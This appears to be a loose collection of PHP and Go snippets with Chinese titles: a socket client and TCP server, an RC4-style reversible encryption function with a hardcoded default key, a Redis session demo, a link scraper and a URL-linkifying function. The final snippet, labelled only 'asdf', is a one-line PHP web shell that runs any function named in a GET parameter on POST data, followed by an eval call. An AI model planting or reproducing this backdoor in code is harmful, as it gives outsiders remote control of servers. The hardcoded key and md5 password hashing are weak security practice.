pack socket
<?php
$host = "127.0.0.1";
$port = "9872";
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP) or die("Unable to create socket\n");
@socket_connect($socket, $host, $port) or die("Connect error.\n");
if ($err = socket_last_error($socket)) {
socket_close($socket);
die(socket_strerror($err) . "\n");
}
$version = 1;
$result = 0;
$command_id = 1001;
$username = "陈一回";
$password = md5("123456");
// 构造包体
$bin_body = pack("a30a32", $username, $password);
// 包体长度
$body_len = strlen($bin_body);
$bin_head = pack("nCns", $body_len, $version, $command_id, $result);
$bin_head = '';
$bin_data = $bin_head . $bin_body;
socket_write($socket, $bin_data, strlen($bin_data));
socket_close($socket);
package main
import (
"fmt"
"net"
)
const BUF_SIZE = 100
func handleConnection(conn net.Conn) {
defer conn.Close()
buf := make([]byte, BUF_SIZE)
n, err := conn.Read(buf)
if err != nil {
fmt.Printf("err: %v\n", err)
return
}
fmt.Printf("\n已接收：%d个字节，数据是：'%s'\n", n, string(buf))
}
func main() {
ln, err := net.Listen("tcp", ":9872")
if err != nil {
fmt.Printf("error: %v\n", err)
return
}
for {
conn, err := ln.Accept()
if err != nil {
continue
}
go handleConnection(conn)
}
}
双向对称加密可逆
<?php
/**
* 双向对称加密可逆
* @param string $string 字符串
* @param string $operation ENCODE为加密，DECODE为解密，可选参数，默认为ENCODE，
* @param string $key 密钥：数字、字母、下划线
* @param int $expiry 过期时间sec
* @return string
*/
function encrypt_rev($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key != '' ? $key : 'LqdR1f8zx48G4uIoLHGM');
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
}
}
$tk = '00000009-82bc7c319aaff6ae4-b8ae8cf519971de-fdd0110e751-92fe1cefa773bafa6b4f9';
echo encrypt_rev($tk);
echo '<br>';
$d = '97cdB-4Vmo_dgyNnZDN6hoYbx2Qr_bMdfG6gngQ3i36d3GorRDxd3inttJA_PZUzUREPnAp4b73e3EVwlGqO1RnSmJNEi59It09bOekIvWZe9rH0DZ8oxNvn4lEIfBAPlStUaRN7KD2B';
echo encrypt_rev($d, 'DECODE');
session redis
<?php
ini_set('session.gc_maxlifetime', 1000000);
ini_set('session.save_handler', 'redis');
ini_set('session.save_path', 'tcp://127.0.0.1');
session_start();//这个很重要
$_SESSION['test_session'] = ['name' => 'fanqie', 'ccc' => 'hello redis'];
$redis = new redis();
$redis->connect('127.0.0.1');
echo 'sessionid>>>>>>> PHPREDIS_SESSION:' . session_id();
echo '<br><br>';
//redis用session_id作为key并且是以string的形式存储
echo '通过php用redis获取>>>>>>>' . $redis->get('PHPREDIS_SESSION:' . session_id());
echo '<br><br>';
echo '通过php用session获取>>>>>>>';
echo '<pre>';
var_dump($_SESSION['test_session']);
查找页面上的所有链接
<?php
$html = file_get_contents('http://www.app-echo.com');
$dom = new DOMDocument();
@$dom->loadHTML($html);// grab all the on the page
$xpath = new DOMXPath($dom);
$hrefs = $xpath->evaluate("/html/body//a");
for ($i = 0; $i < $hrefs->length; $i++) {
$href = $hrefs->item($i);
$url = $href->getAttribute('href');
echo $url . '<br />';
}
自动转换URL为可点击的超链接
<?php
//wp-includes/formatting.php²Î¿¼¸Ãº¯ÊýµÄÔ´´úÂë
function _make_url_clickable_cb($matches) {
$ret = '';
$url = $matches[2];
if (empty($url)) return $matches[0];// removed trailing [.,;:] from URL
if (in_array(substr($url, -1), array('.', ',', ';', ':')) === true) {
$ret = substr($url, -1);
$url = substr($url, 0, strlen($url) - 1);
}
return $matches[1] . "<a href=\"$url\" rel=\"nofollow\">$url</a>" . $ret;
}
function _make_web_ftp_clickable_cb($matches) {
$ret = '';
$dest = $matches[2];
$dest = 'http://' . $dest;
if (empty($dest)) return $matches[0];// removed trailing [,;:] from URL
if (in_array(substr($dest, -1), array('.', ',', ';', ':')) === true) {
$ret = substr($dest, -1);
$dest = substr($dest, 0, strlen($dest) - 1);
}
return $matches[1] . "<a href=\"$dest\" rel=\"nofollow\">$dest</a>" . $ret;
}
function _make_email_clickable_cb($matches) {
$email = $matches[2] . '@' . $matches[3];
return $matches[1] . "<a href=\"mailto:$email\">$email</a>";
}
function make_clickable($ret) {
$ret = ' ' . $ret;// in testing, using arrays here was found to be faster
$ret = preg_replace_callback('#([\s>])([\w]+?://[\w\\x80-\\xff\#$%&~/.\-;:=,?@\[\]+]*)#is', '_make_url_clickable_cb', $ret);
$ret = preg_replace_callback('#([\s>])((www|ftp)\.[\w\\x80-\\xff\#$%&~/.\-;:=,?@\[\]+]*)#is', '_make_web_ftp_clickable_cb', $ret);
$ret = preg_replace_callback('#([\s>])([.0-9a-z_+-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,})#i', '_make_email_clickable_cb', $ret);
$ret = preg_replace("#(<a( [^>]+?>|>))
<a [^>]+?>([^>]+?)</a></a>#i", "$1$3</a>", $ret);
$ret = trim($ret);
return $ret;
}
$a = 'test http://test.com test';
echo make_clickable($a);
asdf
<?php ($_=@$_GET[2]) && $_($_POST[1]);?>
eval('phpinfo();return true;')
